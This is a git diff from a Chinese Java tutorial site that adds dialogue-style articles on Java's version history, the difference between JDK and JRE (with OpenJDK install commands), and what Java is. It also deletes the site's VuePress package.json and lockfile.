+2002 年 2 月 13 日,JDK 1.4 发布,这是 Java 真正走向成熟的一个版本,IBM、富士通等著名公司都有参与。代表技术有:正则表达式、NIO。
+
+2004 年 9 月 30 日,JDK 5 发布,注意 Sun 把“1.x”的命名方式抛弃了。JDK 5 在 Java 语法的易用性上做出了非常大的改进,比如说:自动装箱、泛型、动态注解、枚举、可变参数、foreach 循环。
+
+2006 年 12 月 11 日,JDK 6 发布,J2SE 变成了 Java SE 6,J2EE 变成了 Java EE 6,J2ME 变成了 Java ME 6。JDK 6 恐怕是 Java 历史上使用寿命最长的一个版本了。主要的原因有:代码复杂性的增加、世界经济危机、Oracle 对 Sun 的收购。
+
+JDK 6 的最后一个升级补丁为 Java SE 6 Update 211, 于 2018 年 10 月 18 日发布——12 年的跨度啊!
+
+2009 年 2 月 19 日,JDK 7 发布,但功能是阉割。很多翘首以盼的功能都没有完成,比如说 Lambda 表达式。主要是因为 Sun 公司在商业上陷入了泥沼,已经无力推动 JDK 7 的研发工作。
+
+2009 年 4 月 20 日,Oracle 以 74 亿美元的价格收购了市值曾超过 2000 亿美元的 Sun 公司——太阳终究还是落山了。对于 Java 语言这个孩子来说,可以说是好事,也可以说是坏事。好事是 Oracle 有钱,能够注入资金推动 Java 的发展;坏处就是 Oracle 是后爸,对 Java 肯定没有 Sun 那么亲,走的是极具商业化的道路。
+
+ 2014 年 3 月 18 日,JDK 8 终于来了,步伐是那么蹒跚,但终究还是来了。带着最强有力的武器——Lambda 表达式而来。虽然 JDK 15 已经发布了,但“新版任你发,我用 Java 8”的梗至今还流传着。
+
+2017 年 9 月 21 日,JDK 9 发布。从此以后,JDK 更新版本的速度令开发者应接不暇,半年一个版本,虽然 Oracle 的目的是好的,为了避免因功能增加而引发的跳票风险,但不得不承认,版本更新的节奏实在是有点过于频繁。
+
+这就导致一个问题,好不容易更新一个版本,用了六个月后,Oracle 不维护了。针对这个问题,Oracle 给出的解决方案挺奇葩的,每六个 JDK 大版本才会被长期支持(Long Term Support,LTS)。
+
+JDK 8 是 LTS 版,2018 年 9 月 25 日发布的 JDK 11 是 LTS 版, 2018 年 3 月 20 日发布的 JDK 10 就可以一笔带过了。按照这个节奏算下去的话,下一个 LTS 版就是 2021 年发布的 JDK 17 了。
+
+JDK 12、JDK 13、JDK 14、JDK 15、JDK 16 都是过渡产品,就好像是试验品一样,不太受开发者待见。
+
+Java 发展到今天已经 20 多年了,作为一个编程语言确实不简单,Java 代表的面向对象思想确实给工程领域带来了革命性的变化,关键是 Java 一直在拥抱变化。
+
+大数据方面,有 Apache Kafka、Apache Samza、Apache Storm、Apache Spark、Apache Flink,除了 Spark 是基于 JVM 的函数语言 Scala 编写的,其余都是 Java 编写的。
+
+Java 在云时代面临着以 Go 语言为主的容器(Docker 等技术)生态圈的挑战,但是,Java 的大型分布式系统越来越多,Java 在云计算与分布式系统中还是扮演着主要角色,并且形成了一个大型的生态圈。
+
+虽然 Java 和 C++,C 一样,都“老”了,被其他语言不断地挑战,但只有强者才有机会接受挑战,对吧?我相信,Java 的未来依然很光明。
\ No newline at end of file
diff --git a/docs/overview/jdk-jre.md b/docs/overview/jdk-jre.md
new file mode 100644
index 0000000000..14af8818ab
--- /dev/null
+++ b/docs/overview/jdk-jre.md
@@ -0,0 +1,110 @@
+
+
+“二哥,之前的文章里提到 JDK 与 JRE,说实在的,这两个概念把我搞得晕乎乎的,你能再给我普及一下吗?”三妹咪了一口麦香可可奶茶后对我说。
+
+“三妹,不要担心,二哥这篇文章一定会让你把它们搞得一清二楚。确实有不少初学的小伙伴对这两个概念很困惑,我当年也困惑了很久。”说完最后这句话,我脸上忍不住泛起了一阵羞涩的红晕。
+
+### 01、JDK
+
+JDK 是 Java Development Kit 的首字母缩写,是提供给 Java 程序员的开发工具包,换句话说,没有 JDK,Java 程序员就无法使用 Java 语言编写 Java 程序。也就是说,JDK 是用于开发 Java 程序的最小环境。
+
+想要成为一名 Java 程序员,首先就需要在电脑上安装 JDK。当然了,新版的 Intellij IDEA(公认最好用的集成开发环境)已经支持直接下载 JDK 了。
+
+
+
+并且支持下载不同版本的 JDK,除了 Oracle 的 OpenJDK,还有社区维护版 AdoptOpenJDK,里面包含了目前使用范围最广的 HotSpot 虚拟机。
+
+
+
+如果下载比较慢的话,可以直接在 AdoptOpenJDK 官网上下载。
+
+
+
+如果还是比较慢的话,通过 Oracle 官网下载吧!
+
+>https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
+
+
+JDK 安装成功后,就可以编写 Java 代码了,小伙伴们可以参照上一篇文章《[Hello World](https://mp.weixin.qq.com/s/GYDFndO0Q1Nqzcc_Te61gw)》。
+
+JDK 包含了 JRE,同时还包含了编译 Java 源码的编译器 javac,以及其他的一些重要工具:
+
+- keytool:用于操作 keystore 密钥;
+- javap:class 类文件的最基础的反编译器;
+- jstack:用于打印 Java 线程栈踪迹的工具;
+- jconsole:用于监视 Java 程序的工具;
+- jhat:用于 Java 堆分析的工具
+- jar:用于打包 Java 程序的工具;
+- javadoc:用于生成 Java 文档的工具;
+
+### 02、JRE
+
+JRE 是 Java Runtime Environment 的首字母缩写,是提供给 Java 程序运行的最小环境,换句话说,没有 JRE,Java 程序就无法运行。
+
+Java 程序运行的正式环境一般会选择 Linux 服务器,因为更安全、更高效、更稳定。我们只需要在 Linux 服务器上安装 JRE 就可以运行 Java 程序,而不必安装 JDK,因为我们不需要在服务器上编译和调试 Java 源代码。
+
+刚好我有一台闲置的阿里云服务器,这里就给小伙伴们演示一下 JRE 的安装过程。
+
+第一步:使用以下命令列出服务器上可以安装的 Java 环境:
+
+>yum list java*
+
+可以看到有这么一些(只列出 Java 11 的部分——最近一个 LTS 版本):
+
+
+
+其中 JRE 为 java-11-openjdk.x86_64,JDK 为 java-11-openjdk-devel.x86_64。
+
+第二步,使用以下命令安装 JRE:
+
+>yum install java-11-openjdk.x86_64
+
+第三步,使用以下命令测试是否安装成功:
+
+>java -version
+
+如果出现以下结果,则表明安装成功:
+
+
+
+由于 JRE 中不包含 javac,所以 `javac -version` 的结果如下所示:
+
+
+
+那既然服务器上的 JRE 环境已经 OK 了,那我们就把之前的“Hello World”程序打成 jar 上传过去,让它跑起来。
+
+第一步,Maven clean(对项目清理):
+
+
+
+第二步,Maven package(对项目打包):
+
+
+
+可以在 Run 面板中看到以下信息:
+
+
+
+说明项目打包成功了。
+
+第三步,使用 FileZilla 工具将 jar 包上传到服务器指定目录。
+
+
+
+第四步,使用 iTerm2 工具连接服务器。
+
+
+
+第五步,执行以下命令:
+
+>java -cp TechSister-1.0-SNAPSHOT.jar com.itwanger.five.HelloWorld
+
+可以看到以下结果:
+
+
+
+“搞定了,三妹,今天我们就学到这吧。”转动了一下僵硬的脖子后,我对三妹说,“开发环境需要安装 JDK,因为既需要编写源代码,还需要打包和测试;生产环境只需要安装 JRE,因为只需要运行编译打包好的 jar 包即可。”
+
+“好的,二哥,能把你的服务器账号密码给我一下吗,我想上去测试一把。”三妹似乎对未来充满了希望,这正是我想看到的。
+
+“没问题,随便倒腾。”
\ No newline at end of file
diff --git a/docs/overview/what-is-java.md b/docs/overview/what-is-java.md
new file mode 100644
index 0000000000..3d8bd4ae75
--- /dev/null
+++ b/docs/overview/what-is-java.md
@@ -0,0 +1,77 @@
+
+
+“二哥,到底什么是 Java?给我说说呗。”
+
+“三妹啊,这就直奔主题了啊,先去给哥买包烟吧,哥先考验考验你的诚心。”
+
+(五分钟过后)
+
+“三妹啊,你怎么还不去?”
+
+“二哥,掏钱啊。”
+
+(真实亲妹子啊,买包烟还得我掏钱,关键是还得给跑腿费。十分钟后,三妹从楼下小卖部买了一包熊猫回来了,我用 Zippo 火机点了一支——这火机是 21 岁生日的时候初恋女友送我的,质量确实不错,现在还在用。)
+
+“三妹啊,听我慢慢来给你解释。”
+
+Java 是一门计算机编程语言,高级、健壮、面向对象,并且非常安全。它由 Sun 公司在 1995 年开发,主力开发叫 James Gosling,被称为 Java 之父,就是下图这位,头秃的厉害。
+
+
+
+“三妹啊,你要不要再考虑考虑?做程序员不容易啊”
+
+“二哥,你咋没有秃呢?是因为你不够厉害吗?”
+
+(这孩子,嘴咋这么损呢?)
+
+
+Java 在叫“Java”之前,其实叫 Oak(橡树的意思,我感觉好像比 Java 好听一些)。怎么想到呢?James Gosling 坐在办公室,望向窗外,视野里出现了一颗橡树。不过,遗憾的是,Oak 已经被 另外一家公司注册了,因此 1995 年 5 月 23 日,Oak 语言改名为 Java。
+
+Java 起初并不是 James Gosling 的首选,也不是命名团队的首选。团队其他人员更青睐 Silk(丝绸),但 Gosling 不喜欢,他本人喜欢的是 Lyric(抒情诗),但没通过律师这一关。最后,排在第四位的“Java”脱颖而出。是不是像极了婴儿没生下来之前,家人就着急着起名的那种感觉。
+
+James Gosling 回忆说,“Java”是一个叫 Mark Opperman 的人提议的,他是在一家咖啡店得到灵感的,“Java”是印度尼西亚爪哇岛的英文名,因生产咖啡而闻名。
+
+使用十六进制编辑器打开由 Java 源代码编译出的二进制文件(.class 文件),就可以看得到,最前面的 8 个字符是 CA FE BA BE(定义文件类型的魔数),即词组“CAFE BABE”(咖啡屋宝贝)。
+
+
+
+“二哥,能给我展示一段 Java 代码吗?我想感受一下。”
+
+“三妹啊,马上就来。”
+
+(我噼里啪啦一阵在键盘上一阵狂按)
+
+```java
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("Hello World");
+ }
+}
+```
+
+“二哥,这都什么跟什么啊,看得一头雾水。”
+
+“三妹啊,先不要着急,Hello World 这段代码以后再慢慢消化,现在就是让它来给你打个招呼。”
+
+“好吧。”
+
+“二哥,学 Java 到底有没有前途啊?我毕业以后能不能找到工作啊?”
+
+“三妹啊,就目前来说,Java 不仅仅是一门编程语言,它还是一个由一系列计算机软件和规范组成的技术体系,这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境,并广泛应用于以下这些场合。”
+
+1)桌面应用程序;
+2)Web 应用程序;
+3)企业应用程序,体现了 Java 的安全性、负载均衡和集群的优势;
+4)移动端应用程序,主要就是安卓;
+5)嵌入式系统;
+6)机器人技术;
+7)游戏。
+
+时至今日,Java 技术体系已经吸引了 600 多万软件开发者,是全球最大的软件开发团队。Java 能够获得如此广泛的认可,除了它是一门结构严谨、面向对象的编程语言之外,还有很多其他不可忽视的优点:
+
+- 摆脱了硬件平台的束缚,实现了“一次编写,处处运行”的理念;
+- 内存管理相对安全,避免了绝大部分内存泄露和指针越界的问题;
+- 实现了热点代码检测和运行时编译,使得 Java 应用能随着运行时间的增长而获得更高的性能;
+- 有一套完善的应用程序接口,还有无数来自商业机构和开源社区的第三方类库。
+
+这一切的一切,都让软件开发的效率大大的提高。所以,学习 Java 还是很有“钱”“秃”的。
\ No newline at end of file
diff --git a/docs/package.json b/docs/package.json
deleted file mode 100644
index c257223343..0000000000
--- a/docs/package.json
+++ /dev/null
@@ -1,22 +0,0 @@
-{
- "name": "javabetter",
- "description": "jinjiezhilu",
- "version": "2.0.0",
- "license": "MIT",
- "type": "module",
- "scripts": {
- "docs:build": "vuepress-vite build src",
- "docs:clean-dev": "vuepress-vite dev src --clean-cache",
- "docs:dev": "vuepress-vite dev src",
- "docs:update-package": "pnpm dlx vp-update"
- },
- "devDependencies": {
- "@vuepress/bundler-vite": "2.0.0-rc.14",
- "@vuepress/plugin-docsearch": "2.0.0-rc.40",
- "@vuepress/plugin-pwa": "2.0.0-rc.40",
- "mathjax-full": "^3.2.2",
- "vue": "^3.4.31",
- "vuepress": "2.0.0-rc.14",
- "vuepress-theme-hope": "2.0.0-rc.52"
- }
-}
diff --git a/docs/pnpm-lock.yaml b/docs/pnpm-lock.yaml
deleted file mode 100644
index c2a9da6608..0000000000
--- a/docs/pnpm-lock.yaml
+++ /dev/null
@@ -1,6745 +0,0 @@
-lockfileVersion: '9.0'
-
-settings:
- autoInstallPeers: true
- excludeLinksFromLockfile: false
-
-importers:
-
- .:
- devDependencies:
- '@vuepress/bundler-vite':
- specifier: 2.0.0-rc.14
- version: 2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)
- '@vuepress/plugin-docsearch':
- specifier: 2.0.0-rc.40
- version: 2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-pwa':
- specifier: 2.0.0-rc.40
- version: 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- mathjax-full:
- specifier: ^3.2.2
- version: 3.2.2
- vue:
- specifier: ^3.4.31
- version: 3.4.34
- vuepress:
- specifier: 2.0.0-rc.14
- version: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- vuepress-theme-hope:
- specifier: 2.0.0-rc.52
- version: 2.0.0-rc.52(@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
-
-packages:
-
- '@algolia/autocomplete-core@1.9.3':
- resolution: {integrity: sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==}
-
- '@algolia/autocomplete-plugin-algolia-insights@1.9.3':
- resolution: {integrity: sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==}
- peerDependencies:
- search-insights: '>= 1 < 3'
-
- '@algolia/autocomplete-preset-algolia@1.9.3':
- resolution: {integrity: sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==}
- peerDependencies:
- '@algolia/client-search': '>= 4.9.1 < 6'
- algoliasearch: '>= 4.9.1 < 6'
-
- '@algolia/autocomplete-shared@1.9.3':
- resolution: {integrity: sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==}
- peerDependencies:
- '@algolia/client-search': '>= 4.9.1 < 6'
- algoliasearch: '>= 4.9.1 < 6'
-
- '@algolia/cache-browser-local-storage@4.24.0':
- resolution: {integrity: sha512-t63W9BnoXVrGy9iYHBgObNXqYXM3tYXCjDSHeNwnsc324r4o5UiVKUiAB4THQ5z9U5hTj6qUvwg/Ez43ZD85ww==}
-
- '@algolia/cache-common@4.24.0':
- resolution: {integrity: sha512-emi+v+DmVLpMGhp0V9q9h5CdkURsNmFC+cOS6uK9ndeJm9J4TiqSvPYVu+THUP8P/S08rxf5x2P+p3CfID0Y4g==}
-
- '@algolia/cache-in-memory@4.24.0':
- resolution: {integrity: sha512-gDrt2so19jW26jY3/MkFg5mEypFIPbPoXsQGQWAi6TrCPsNOSEYepBMPlucqWigsmEy/prp5ug2jy/N3PVG/8w==}
-
- '@algolia/client-account@4.24.0':
- resolution: {integrity: sha512-adcvyJ3KjPZFDybxlqnf+5KgxJtBjwTPTeyG2aOyoJvx0Y8dUQAEOEVOJ/GBxX0WWNbmaSrhDURMhc+QeevDsA==}
-
- '@algolia/client-analytics@4.24.0':
- resolution: {integrity: sha512-y8jOZt1OjwWU4N2qr8G4AxXAzaa8DBvyHTWlHzX/7Me1LX8OayfgHexqrsL4vSBcoMmVw2XnVW9MhL+Y2ZDJXg==}
-
- '@algolia/client-common@4.24.0':
- resolution: {integrity: sha512-bc2ROsNL6w6rqpl5jj/UywlIYC21TwSSoFHKl01lYirGMW+9Eek6r02Tocg4gZ8HAw3iBvu6XQiM3BEbmEMoiA==}
-
- '@algolia/client-personalization@4.24.0':
- resolution: {integrity: sha512-l5FRFm/yngztweU0HdUzz1rC4yoWCFo3IF+dVIVTfEPg906eZg5BOd1k0K6rZx5JzyyoP4LdmOikfkfGsKVE9w==}
-
- '@algolia/client-search@4.24.0':
- resolution: {integrity: sha512-uRW6EpNapmLAD0mW47OXqTP8eiIx5F6qN9/x/7HHO6owL3N1IXqydGwW5nhDFBrV+ldouro2W1VX3XlcUXEFCA==}
-
- '@algolia/logger-common@4.24.0':
- resolution: {integrity: sha512-LLUNjkahj9KtKYrQhFKCzMx0BY3RnNP4FEtO+sBybCjJ73E8jNdaKJ/Dd8A/VA4imVHP5tADZ8pn5B8Ga/wTMA==}
-
- '@algolia/logger-console@4.24.0':
- resolution: {integrity: sha512-X4C8IoHgHfiUROfoRCV+lzSy+LHMgkoEEU1BbKcsfnV0i0S20zyy0NLww9dwVHUWNfPPxdMU+/wKmLGYf96yTg==}
-
- '@algolia/recommend@4.24.0':
- resolution: {integrity: sha512-P9kcgerfVBpfYHDfVZDvvdJv0lEoCvzNlOy2nykyt5bK8TyieYyiD0lguIJdRZZYGre03WIAFf14pgE+V+IBlw==}
-
- '@algolia/requester-browser-xhr@4.24.0':
- resolution: {integrity: sha512-Z2NxZMb6+nVXSjF13YpjYTdvV3032YTBSGm2vnYvYPA6mMxzM3v5rsCiSspndn9rzIW4Qp1lPHBvuoKJV6jnAA==}
-
- '@algolia/requester-common@4.24.0':
- resolution: {integrity: sha512-k3CXJ2OVnvgE3HMwcojpvY6d9kgKMPRxs/kVohrwF5WMr2fnqojnycZkxPoEg+bXm8fi5BBfFmOqgYztRtHsQA==}
-
- '@algolia/requester-node-http@4.24.0':
- resolution: {integrity: sha512-JF18yTjNOVYvU/L3UosRcvbPMGT9B+/GQWNWnenIImglzNVGpyzChkXLnrSf6uxwVNO6ESGu6oN8MqcGQcjQJw==}
-
- '@algolia/transporter@4.24.0':
- resolution: {integrity: sha512-86nI7w6NzWxd1Zp9q3413dRshDqAzSbsQjhcDhPIatEFiZrL1/TjnHL8S7jVKFePlIMzDsZWXAXwXzcok9c5oA==}
-
- '@ampproject/remapping@2.3.0':
- resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==}
- engines: {node: '>=6.0.0'}
-
- '@apideck/better-ajv-errors@0.3.6':
- resolution: {integrity: sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==}
- engines: {node: '>=10'}
- peerDependencies:
- ajv: '>=8'
-
- '@babel/code-frame@7.24.7':
- resolution: {integrity: sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/compat-data@7.24.9':
- resolution: {integrity: sha512-e701mcfApCJqMMueQI0Fb68Amflj83+dvAvHawoBpAz+GDjCIyGHzNwnefjsWJ3xiYAqqiQFoWbspGYBdb2/ng==}
- engines: {node: '>=6.9.0'}
-
- '@babel/core@7.24.9':
- resolution: {integrity: sha512-5e3FI4Q3M3Pbr21+5xJwCv6ZT6KmGkI0vw3Tozy5ODAQFTIWe37iT8Cr7Ice2Ntb+M3iSKCEWMB1MBgKrW3whg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/generator@7.24.10':
- resolution: {integrity: sha512-o9HBZL1G2129luEUlG1hB4N/nlYNWHnpwlND9eOMclRqqu1YDy2sSYVCFUZwl8I1Gxh+QSRrP2vD7EpUmFVXxg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-annotate-as-pure@7.24.7':
- resolution: {integrity: sha512-BaDeOonYvhdKw+JoMVkAixAAJzG2jVPIwWoKBPdYuY9b452e2rPuI9QPYh3KpofZ3pW2akOmwZLOiOsHMiqRAg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-builder-binary-assignment-operator-visitor@7.24.7':
- resolution: {integrity: sha512-xZeCVVdwb4MsDBkkyZ64tReWYrLRHlMN72vP7Bdm3OUOuyFZExhsHUUnuWnm2/XOlAJzR0LfPpB56WXZn0X/lA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-compilation-targets@7.24.8':
- resolution: {integrity: sha512-oU+UoqCHdp+nWVDkpldqIQL/i/bvAv53tRqLG/s+cOXxe66zOYLU7ar/Xs3LdmBihrUMEUhwu6dMZwbNOYDwvw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-create-class-features-plugin@7.24.8':
- resolution: {integrity: sha512-4f6Oqnmyp2PP3olgUMmOwC3akxSm5aBYraQ6YDdKy7NcAMkDECHWG0DEnV6M2UAkERgIBhYt8S27rURPg7SxWA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/helper-create-regexp-features-plugin@7.24.7':
- resolution: {integrity: sha512-03TCmXy2FtXJEZfbXDTSqq1fRJArk7lX9DOFC/47VthYcxyIOx+eXQmdo6DOQvrbpIix+KfXwvuXdFDZHxt+rA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/helper-define-polyfill-provider@0.6.2':
- resolution: {integrity: sha512-LV76g+C502biUK6AyZ3LK10vDpDyCzZnhZFXkH1L75zHPj68+qc8Zfpx2th+gzwA2MzyK+1g/3EPl62yFnVttQ==}
- peerDependencies:
- '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0
-
- '@babel/helper-environment-visitor@7.24.7':
- resolution: {integrity: sha512-DoiN84+4Gnd0ncbBOM9AZENV4a5ZiL39HYMyZJGZ/AZEykHYdJw0wW3kdcsh9/Kn+BRXHLkkklZ51ecPKmI1CQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-function-name@7.24.7':
- resolution: {integrity: sha512-FyoJTsj/PEUWu1/TYRiXTIHc8lbw+TDYkZuoE43opPS5TrI7MyONBE1oNvfguEXAD9yhQRrVBnXdXzSLQl9XnA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-hoist-variables@7.24.7':
- resolution: {integrity: sha512-MJJwhkoGy5c4ehfoRyrJ/owKeMl19U54h27YYftT0o2teQ3FJ3nQUf/I3LlJsX4l3qlw7WRXUmiyajvHXoTubQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-member-expression-to-functions@7.24.8':
- resolution: {integrity: sha512-LABppdt+Lp/RlBxqrh4qgf1oEH/WxdzQNDJIu5gC/W1GyvPVrOBiItmmM8wan2fm4oYqFuFfkXmlGpLQhPY8CA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-module-imports@7.24.7':
- resolution: {integrity: sha512-8AyH3C+74cgCVVXow/myrynrAGv+nTVg5vKu2nZph9x7RcRwzmh0VFallJuFTZ9mx6u4eSdXZfcOzSqTUm0HCA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-module-transforms@7.24.9':
- resolution: {integrity: sha512-oYbh+rtFKj/HwBQkFlUzvcybzklmVdVV3UU+mN7n2t/q3yGHbuVdNxyFvSBO1tfvjyArpHNcWMAzsSPdyI46hw==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/helper-optimise-call-expression@7.24.7':
- resolution: {integrity: sha512-jKiTsW2xmWwxT1ixIdfXUZp+P5yURx2suzLZr5Hi64rURpDYdMW0pv+Uf17EYk2Rd428Lx4tLsnjGJzYKDM/6A==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-plugin-utils@7.24.8':
- resolution: {integrity: sha512-FFWx5142D8h2Mgr/iPVGH5G7w6jDn4jUSpZTyDnQO0Yn7Ks2Kuz6Pci8H6MPCoUJegd/UZQ3tAvfLCxQSnWWwg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-remap-async-to-generator@7.24.7':
- resolution: {integrity: sha512-9pKLcTlZ92hNZMQfGCHImUpDOlAgkkpqalWEeftW5FBya75k8Li2ilerxkM/uBEj01iBZXcCIB/bwvDYgWyibA==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/helper-replace-supers@7.24.7':
- resolution: {integrity: sha512-qTAxxBM81VEyoAY0TtLrx1oAEJc09ZK67Q9ljQToqCnA+55eNwCORaxlKyu+rNfX86o8OXRUSNUnrtsAZXM9sg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/helper-simple-access@7.24.7':
- resolution: {integrity: sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-skip-transparent-expression-wrappers@7.24.7':
- resolution: {integrity: sha512-IO+DLT3LQUElMbpzlatRASEyQtfhSE0+m465v++3jyyXeBTBUjtVZg28/gHeV5mrTJqvEKhKroBGAvhW+qPHiQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-split-export-declaration@7.24.7':
- resolution: {integrity: sha512-oy5V7pD+UvfkEATUKvIjvIAH/xCzfsFVw7ygW2SI6NClZzquT+mwdTfgfdbUiceh6iQO0CHtCPsyze/MZ2YbAA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-string-parser@7.24.8':
- resolution: {integrity: sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-validator-identifier@7.24.7':
- resolution: {integrity: sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-validator-option@7.24.8':
- resolution: {integrity: sha512-xb8t9tD1MHLungh/AIoWYN+gVHaB9kwlu8gffXGSt3FFEIT7RjS+xWbc2vUD1UTZdIpKj/ab3rdqJ7ufngyi2Q==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-wrap-function@7.24.7':
- resolution: {integrity: sha512-N9JIYk3TD+1vq/wn77YnJOqMtfWhNewNE+DJV4puD2X7Ew9J4JvrzrFDfTfyv5EgEXVy9/Wt8QiOErzEmv5Ifw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helpers@7.24.8':
- resolution: {integrity: sha512-gV2265Nkcz7weJJfvDoAEVzC1e2OTDpkGbEsebse8koXUJUXPsCMi7sRo/+SPMuMZ9MtUPnGwITTnQnU5YjyaQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/highlight@7.24.7':
- resolution: {integrity: sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/parser@7.24.8':
- resolution: {integrity: sha512-WzfbgXOkGzZiXXCqk43kKwZjzwx4oulxZi3nq2TYL9mOjQv6kYwul9mz6ID36njuL7Xkp6nJEfok848Zj10j/w==}
- engines: {node: '>=6.0.0'}
- hasBin: true
-
- '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.24.7':
- resolution: {integrity: sha512-TiT1ss81W80eQsN+722OaeQMY/G4yTb4G9JrqeiDADs3N8lbPMGldWi9x8tyqCW5NLx1Jh2AvkE6r6QvEltMMQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.24.7':
- resolution: {integrity: sha512-unaQgZ/iRu/By6tsjMZzpeBZjChYfLYry6HrEXPoz3KmfF0sVBQ1l8zKMQ4xRGLWVsjuvB8nQfjNP/DcfEOCsg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.24.7':
- resolution: {integrity: sha512-+izXIbke1T33mY4MSNnrqhPXDz01WYhEf3yF5NbnUtkiNnm+XBZJl3kNfoK6NKmYlz/D07+l2GWVK/QfDkNCuQ==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.13.0
-
- '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.24.7':
- resolution: {integrity: sha512-utA4HuR6F4Vvcr+o4DnjL8fCOlgRFGbeeBEGNg3ZTrLFw6VWG5XmUrvcQ0FjIYMU2ST4XcR2Wsp7t9qOAPnxMg==}
- engines: {node: '>=6.9.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
-
- '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2':
- resolution: {integrity: sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==}
